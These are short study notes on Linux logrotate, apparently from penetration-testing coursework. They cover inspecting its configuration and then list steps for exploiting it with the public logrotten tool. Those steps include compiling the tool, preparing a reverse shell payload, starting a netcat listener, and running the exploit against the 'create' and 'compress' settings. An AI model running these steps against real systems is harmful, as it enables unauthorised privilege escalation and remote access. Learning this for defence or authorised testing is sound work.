Logrotate

• linux system produces large amounts of logs
• to manage log space, logrotate is used.
• manage using: space, file age, action
• 

check logrotate settings

• cat /etc/logrotate.conf
• cat /var/lib/logrotate.status
• 

Exploiting Logrotate

• 
• download - https://github.com/whotwagner/logrotten
• gcc logrotten.c -o logrotten
  • compile
• create a reverse shell payload
• start the nc listener
• check the logrotation option used in logrotate.conf
  • grep "create\|compress" /etc/logrotate.conf | grep -v "#"
    • create - new log files are being created
• run the exploit for create
  • ./logrotten -p ./payload /tmp/tmp.log
• exploit for compress
  • ./logrotten -p ./payload -c -s 4 /tmp/tmp.log